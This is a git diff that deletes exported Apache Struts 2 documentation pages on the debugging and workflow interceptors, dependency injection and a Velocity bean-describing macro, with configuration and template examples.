-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>DebuggingInterceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="debugginginterceptor.html">DebuggingInterceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">DebuggingInterceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29092">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29092">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29092">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-Provides several different debugging screens to provide insight into the
-data behind the page.
-</p>
-
-<p>This interceptor only is activated when devMode is enabled in
-struts.properties. The 'debug' parameter is removed from the parameter list
-before the action is executed. All operations occur before the natural
-Result has a chance to execute.</p>
-
-<h2 id="DebuggingInterceptor-Parameters">Parameters</h2>
-
-<p></p><ul><li> <code>xml</code> - Dumps the parameters, context, session, and value
-stack as an XML document.</li><li> <code>console</code> - Shows a popup 'OGNL Console' that allows the
-user to test OGNL expressions against the value stack. The XML data from
-the 'xml' mode is inserted at the top of the page.</li><li> <code>command</code> - Tests an OGNL expression and returns the
-string result. Only used by the OGNL console.</li><li><code>browser</code> Shows field values of an object specified in the 
-<code>object</code> parameter (#context by default). When the <code>object</code>
-parameters is set, the '#' character needs to be escaped to '%23'. Like
-debug=browser&amp;object=%23parameters</li></ul>
-
-<h2 id="DebuggingInterceptor-Example">Example</h2>
-
-<p>http://localhost:8080/Welcome.action?debug=xml</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/default-workflow-interceptor.html b/content/docs/default-workflow-interceptor.html
deleted file mode 100644
index a9eccfb..0000000
--- a/content/docs/default-workflow-interceptor.html
+++ /dev/null
@@ -1,240 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Default Workflow Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="default-workflow-interceptor.html">Default Workflow Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Default Workflow Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-An interceptor that makes sure there are not validation, conversion or action errors before allowing the interceptor chain to continue. 
-If a single FieldError or ActionError (including the ones replicated by the Message Store Interceptor in a redirection) is found, the INPUT result will be triggered.
-<b>This interceptor does not perform any validation</b>.
-</p>
-
-<p></p><p>
-This interceptor does nothing if the name of the method being invoked is specified in the <b>excludeMethods</b>
-parameter. <b>excludeMethods</b> accepts a comma-delimited list of method names. For example, requests to
-<b>foo!input.action</b> and <b>foo!back.action</b> will be skipped by this interceptor if you set the
-<b>excludeMethods</b> parameter to "input, back".
-</p>
-
-<p></p><p>
-<b>Note:</b> As this method extends off MethodFilterInterceptor, it is capable of
-deciding if it is applicable only to selective methods in the action class. This is done by adding param tags
-for the interceptor element, naming either a list of excluded method names and/or a list of included method
-names, whereby includeMethods overrides excludedMethods. A single * sign is interpreted as wildcard matching
-all methods for both parameters.
-See MethodFilterInterceptor for more info.
-</p>
-
-<p></p><p>
-This interceptor also supports the following interfaces which can implemented by actions:
-</p>
-
-<p></p><ul><li>ValidationAware - implemented by ActionSupport class</li><li>ValidationWorkflowAware - allows changing result name programmatically</li><li>ValidationErrorAware - notifies action about errors and also allow change result name</li></ul>
-
-<p></p><p>
-You can also use InputConfig annotation to change result name returned when validation errors occurred.
-</p>
-
-
-<p><b>In DefaultWorkflowInterceptor</b>
-</p><p>applies only when action implements com.opensymphony.xwork2.Validateable</p>
-<ol><li>if the action class have validate{MethodName}(), it will be invoked</li><li>else if the action class have validateDo{MethodName}(), it will be invoked</li><li>no matter if 1] or 2] is performed, if alwaysInvokeValidate property of the interceptor is "true" (which is by default "true"), validate() will be invoked.</li></ol>
-
-
-<h2 id="DefaultWorkflowInterceptor-Parameters">Parameters</h2>
-
-<p></p><ul><li>inputResultName - Default to "input". Determine the result name to be returned when
-an action / field error is found.</li></ul>
-
-<h2 id="DefaultWorkflowInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p></p><p>There are no known extension points for this interceptor.</p>
-
-
-<h2 id="DefaultWorkflowInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;/&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- In this case myMethod as well as mySecondMethod of the action class
-       will not pass through the workflow process --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;/&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;&gt;
-        &lt;param name=&quot;excludeMethods&quot;&gt;myMethod,mySecondMethod&lt;/param&gt;
-    &lt;/interceptor-ref name=&quot;workflow&quot;&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- In this case, the result named &quot;error&quot; will be used when
-       an action / field error is found --&gt;
-&lt;-- The Interceptor will only be applied for myWorkflowMethod method of action
-       classes, since this is the only included method while any others are excluded --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;/&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;&gt;
-       &lt;param name=&quot;inputResultName&quot;&gt;error&lt;/param&gt;
-        &lt;param name=&quot;excludeMethods&quot;&gt;*&lt;/param&gt;
-        &lt;param name=&quot;includeMethods&quot;&gt;myWorkflowMethod&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dependency-injection.html b/content/docs/dependency-injection.html
deleted file mode 100644
index 731d5b7..0000000
--- a/content/docs/dependency-injection.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Dependency Injection</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="dependency-injection.html">Dependency Injection</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Dependency Injection</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13870">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13870">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13870">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13870">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13870">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13870">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Dependency injection removes the responsibility for object creation and object linking from the objects themselves to a factory.  The factory is often provided by an Inversion of Control (IoC) container.  For an overview of Inv [...]
-
-<p>Internally, the framework uses its own dependency injection container that is very similar to Google Guice.  Both were originally developed by <a shape="rect" class="external-link" href="http://blog.crazybob.org/" rel="nofollow">Bob Lee</a>.  Plugins are available to integrate applications with other IoC containers (e.g. <a shape="rect" class="unresolved" href="#">Spring Plugin</a>, <a shape="rect" class="unresolved" href="#">Plexus Plugin</a>).  An application can even use a local co [...]
-
-<p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> Actions can still be instantiated via Spring configuration by way of the <a shape="rect" class="unresolved" href="#">Spring Plugin</a>, but Spring is entirely optional.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> The WebWork/XWork IoC container utilized by WebWork 2.1 is not supported by Struts 2.</p>
-
-<h2 id="DependencyInjection-Next:">Next: <a shape="rect" href="profiling.html">Profiling</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/describing-a-bean-in-velocity.html b/content/docs/describing-a-bean-in-velocity.html
deleted file mode 100644
index 83a16c8..0000000
--- a/content/docs/describing-a-bean-in-velocity.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Describing a bean in velocity</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="describing-a-bean-in-velocity.html">Describing a bean in velocity</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Describing a bean in velocity</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14173">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14173">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14173">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14173">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14173">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14173">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The follow snippet might be useful during debugging to list the properties inside an<br clear="none"> arbitary bean. Or for handing to a UI developer that use unaware of the getters/setters inside an object.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">## prints out the property names for a bean
-#macro (describeBean $name) 
-#set($bu = $struts.bean("com.opensymphony.util.BeanUtils"))
-	#foreach($propName in $bu.getPropertyNames($name))
-		&lt;li&gt;$propName&lt;/li&gt;
-	#end
-#end
-</pre>
-</div></div><p>i.e. assuming $obj is a PersonObject that has properties(firstName, lastName, and zip).</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">#describeBean($obj)</pre>
-</div></div><p>would print</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;li&gt;firstName&lt;/li&gt;
-&lt;li&gt;lastName&lt;/li&gt;
-&lt;li&gt;zip&lt;/li&gt;
-</pre>
-</div></div><p>One might also expand upon this to build a dynamic interface with via reflection. e.g.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">$struts.evalute("$obj.${propName}")
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/developing-a-portlet-using-eclipse.html b/content/docs/developing-a-portlet-using-eclipse.html
deleted file mode 100644
index 78694e2..0000000
--- a/content/docs/developing-a-portlet-using-eclipse.html
+++ /dev/null
@@ -1,242 +0,0 @@
